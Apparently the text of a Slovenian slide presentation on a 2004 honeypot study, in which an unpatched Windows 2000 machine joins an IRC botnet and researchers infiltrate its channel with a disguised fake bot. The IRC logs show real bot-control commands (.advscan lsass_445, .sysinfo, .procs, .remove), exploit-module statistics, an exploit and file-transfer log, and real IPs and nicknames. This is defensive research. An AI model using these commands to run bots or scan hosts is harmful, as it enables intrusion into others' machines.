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Primer napada v Primer napada v 
decembru 2004decembru 2004



Računalnik je povezan v prikrito omrežje preko 
vrat 443 (da zaobide požarni zid)



Po vključitvi v prikrito omrežje prične 'skenirati'



Proces smo zaznali le z orodjem Anti-Spy.info



Vstop v prikrito omrežje



Neuspešen poiskus uničenja omrežja



• [01-12-2004 10:48:47] [tws]706151 [lsass_445]: 
Exploiting IP: 203.232.133.153.

• [01-12-2004 10:48:49] [tws]706151 [FTP]: File 
transfer complete to IP: 203.232.133.153 
(C:\WINDOWS\System32\mswins.exe).

• [01-12-2004 10:50:22] * [tws]866541 
(~itxuyafw@203.232.133.rox-62925) has joined #bots.

Hitro samodejno širjenje omrežja



EksperimentEksperiment



• Računalnik z nameščenimi Windows 2000 
SP4, običajna namestitev brez nalaganja 
dodatnih popravkov ali kakršnekoli 
programske opreme. Računalnik je bil 
vključen v internet in ni bil uporabljan.

• Vklop računalnika v internet: 8. december 
2004 ob 17:35.

• Uspešen vdor v 17-20 urah.
• Vdor smo zaznali z analizo omrežnega 

prometa (z orodjem ettercap), z analizo 
povezave pa smo ugotovili kam se ugrabljeni 
računalnik povezuje.

Past



Maskiranje
• Maskirani ‘bot’: prenosni računalnik z nameščenim Debian 

Linux, jedro 2.6.8.1, vključen požarni zid, ki je blokiral vse 
vhodne povezave (razen 'veljavnega' ICMP prometa in SSH iz 
točno določenih IP naslovov). ‘Bot’ je bil maskiran  pomočjo 
programa X-Chat (ime in vzdevek sta bila ustrezno izbrana), 
X-Chat je vse pogovore beležil v datoteko aktivnosti.

• Oblika maskiranja je razvidna iz prijave: “[stickibot]16133 
(umwgk@Recycled-irc-3E9F4F46.fdv.uni-lj.si) has joined 
#STICKYWORLD”.

• Začetek beleženja prometa na botnetu: 9. december 2004 ob 
14:40:28.

• Konec beleženja prometa na botnetu: 3. januar 2005 ob 
10:00:17.

• IRC strežnik preko katerega je bilo upravljano z botnetom je 
javno dostopen, celo preko web-a: http://info.recycled-
irc.org/view_chan.php?chan=stickyworld

• Tema kanala: “.advscan lsass_445 100 3 9999 -r –b”, nastavil 
“StickyFingerz”.



Shema



Maskiranje v X-Chatu

Matej
prenosnik



• Datoteka aktivnosti je obsegala 961 vrstic 
sporočil. 

• V času opazovanja se je na kanal prijavilo 96 
botov + 3 lažni boti (187 join, 179 quit, vmes 
smo nekajkrat izgubili povezavo).

• 48 botov je javno sporočalo stanje na kanal (iz 
teh sporočil se lahko naučimo ukazov za 
upravljanje z boti), nekaj komunikacije je 
zagotovo potekalo tudi neposredno med 
upravljalcem omrežja in boti.

• Na kanal so se prijavljale tudi osebe, 10 
psedonimov se je pogovarjalo, ena oseba je 
zagotovo uporabljala več psevdonimov.

Analiza datotek aktivnosti



• eXpLosiV - prišel iz Owns.The.World.edu za 
cca. 10 minut.

• TaKoS - prišel iz wanadoo.fr za cca. 2 minuti.
• TheGame1492 - prišel dvakrat iz t-dialin.net 

za eno minuto.
• M|SA - prišel iz .se domene za cca. pol 

minute.

Naključni obiskovalci - primeri



• Domnevni upravitelj omrežja:
– StickyFingerz (Sticky@Recycled-irc-5B998540.dip.t-

dialin.net): 86 sporočil
– Stickyfingerz: 4 sporočil
– DaStorm (~Sticky@Recycled-irc-CA58B3FF.dip.t-

dialin.net): 14 sporočil
– KinGaway (~Sticky@Recycled-irc-353F3876.dip.t-

dialin.net): 10 sporočil

• Ostali, ki so komunicirali večinoma z njim:
– klr54000: 75 sporočil
– Matej: 22 sporočil
– US-ShArK-s: 5 sporočil
– Dr4gOoN: 2 sporočili
– cedr1k: 1 sporočilo
– NazBroque: 1 sporočilo

Osebe, ki so na kanalu govorile



• Počakamo, da se upravitelj omrežja prijavi na lažnega bot-a:
– [09-12-2004 19:01:46]<StickyFingerz> .login xxxxxx
– [09-12-2004 19:20:38]<StickyFingerz> .login xxxxxx
– [09-12-2004 20:00:27]<-- StickyFingerz has quit (?? I was using 

Millenium.IRC 6.0 (Build: 6015.20030531 - Alpha Version) 
(milleniumirc.cjb.net) ??)

• V enem primeru je upravitelj omrežja zaklenil dostop do 
kanala (misleč, da so na kanalu samo boti) in potem uporabil 
geslo:
– [21-12-2004 13:43:10]--- StickyFingerz sets channel keyword to 

secret
– [21-12-2004 13:43:18]<StickyFingerz> .login xxxxxx
– [21-12-2004 13:43:18]<[stickibot]21632> [MAIN]: Password 

accepted.

Pridobitev gesla



• Prijava na bota:
• [12-16-2004 13:03:29] Matej >.login xxxxxx
• [12-16-2004 13:03:29] [stickibot]45479 >[MAIN]: 

Password accepted.

• Ukazi:
• [12-16-2004 13:03:35] Matej >.uptime
• [12-16-2004 13:03:36] [stickibot]45479 >[MAIN]: 

Uptime: 0d 3h 39m.
• [12-16-2004 13:03:42] Matej >.netinfo
• [12-16-2004 13:03:43] [stickibot]45479 >[NETINFO]: 

[Type]: LAN (LAN Connection). [IP Address]: 
193.2.85.XXX. [Hostname]: XXX.FDV.UNI-LJ.SI.

Upravljanje z boti*

* Ukazi in odzivi nanje so bili pridobljeni s pomočjo spremljanja prometa v prikritem 
omrežju ter s preskušanjem. Preskušanje ukazov je potekalo na okuženem računalniku; 
lastnik okuženega računalnika je bil s tem seznanjen oz. se je strinjal, na koncu je bil 
bot odstranjen iz okuženega računalnika.



• Ukazi:
• [12-16-2004 13:03:50] Matej >.driveinfo
• [12-16-2004 13:03:51] [stickibot]45479 >[MAIN]: Disk 

Drive (C:\): 20,482,840KB total, 13,848,040KB free, 
13,848,040KB available.

• [12-16-2004 13:03:53] [stickibot]45479 >[MAIN]: Disk 
Drive (D:\): 120,615,988KB total, 58,287,412KB free, 
58,287,412KB available.

• [12-16-2004 13:03:55] [stickibot]45479 >[MAIN]: Disk 
Drive (E:\): 100,141,144KB total, 6,644,628KB free, 
6,644,628KB available.

Upravljanje z boti



Upravljanje z boti

• Ukazi:
• [12-16-2004 13:03:56] Matej >.sysinfo
• [12-16-2004 13:03:57] [stickibot]45479 >[MAIN]: 

Cdrom Drive (F:\): Failed to stat, device not ready.
• [12-16-2004 13:04:00] [stickibot]45479 >[SYSINFO]: 

[CPU]: 2400MHz. [RAM]: 1,048,048KB total, 
1,048,048KB free. [Disk]: 20,482,840KB total, 
13,848,040KB free. [OS]: Windows 2K (Service Pack 4) 
(5.0, Build 2195). [Sysdir]: C:\WINNT\system32. 
[Hostname]: XXX.FDV.UNI-LJ.SI (193.2.85.XXX). 
[Current User]: xxx_xxx. [Date]: 16:Dec:2004. [Time]: 
13:01:44. [Uptime]: 0d 3h 39m.



Upravljanje z boti

• Ukazi:
• [21-12-2004 13:48:51] StickyFingerz >.procs

• [21-12-2004 13:48:52] [stickibot]21632 >[PROC]: Listing processes:

• [21-12-2004 13:48:52] [stickibot]21632 > System (4)

• [21-12-2004 13:48:54] [stickibot]21632 > smss.exe (424)

• [21-12-2004 13:48:56] [stickibot]21632 > csrss.exe (528)

• ...

• [21-12-2004 13:49:46] [stickibot]21632 > sqlmangr.exe (3252)

• [21-12-2004 13:49:48] [stickibot]21632 > updateservereasy.exe (464)

• [21-12-2004 13:49:50] [stickibot]21632 > SincroServer.exe (2192)

• ...

• [21-12-2004 13:50:14] [stickibot]21632 > POP3Svc.exe (5996)

• ...

• [21-12-2004 13:50:22] [stickibot]21632 > explorer.exe (2148)

• [21-12-2004 13:50:24] [stickibot]21632 > NET Traffic Meter.exe (5408)

• ...

• [21-12-2004 13:50:50] [stickibot]21632 >[PROC]: Process list completed.



Upravljanje z boti

• Ukazi - iskanje varnostnih lukenj:
• [21-12-2004 13:56:46] StickyFingerz >.reboot
• [21-12-2004 13:56:46] [stickibot]21632 >[MAIN]: 

Failed to reboot system.

• [21-12-2004 14:48:09] StickyFingerz >.advscan 
lsass_445 100 3 9999 -r -b

• [21-12-2004 14:48:09] [stickibot]21632 >[SCAN]: 
Random Port Scan started on 192.168.x.x:445 with a 
delay of 5 seconds for 800 minutes using 100 threads.



Upravljanje z boti

• Ukazi – seznam varnostnih lukenj, ki jih bot 
izkorišča:

• [12-16-2004 13:04:03] Matej >.stats
• [12-16-2004 13:04:04] [stickibot]45479 >[SCAN]: 

Exploit Statistics: WebDav: 0, NetBios: 0, NTPass: 0, 
Dcom135: 0, Dcom445: 0, Dcom1025: 0, Dcom2: 0, 
IIS5SSL: 0, MSSQL: 0, Beagle1: 0, Beagle2: 0, 
MyDoom: 0, lsass_445: 0, lsass_139: 0, Optix: 0, 
UPNP: 0, NetDevil: 0, DameWare: 0, Kuang2: 0, Sub7: 
0, Total: 0 in 0d 3h 29m.



• Ukazi
• [12-16-2004 13:04:16] Matej >.id
• [12-16-2004 13:04:17] [stickibot]45479 >[MAIN]: Bot 

ID: sticki.
• [12-16-2004 13:04:21] Matej >.version
• [12-16-2004 13:04:22] [stickibot]45479 [MAIN]: 

[PeSt]
• [12-16-2004 13:04:27] Matej >.scanstop
• [12-16-2004 13:04:28] [stickibot]45479 >[SCAN]: No 

Scan thread found.

Upravljanje z boti



• Ukazi – odklop bota
• [12-16-2004 13:04:32] Matej >.remove
• [12-16-2004 13:04:32] [stickibot]45479 >[MAIN]: 

Removing Bot.
• [12-16-2004 13:04:33] * [stickibot]45479 has quit 

(Client exited)

Upravljanje z boti



Ostali ukazi


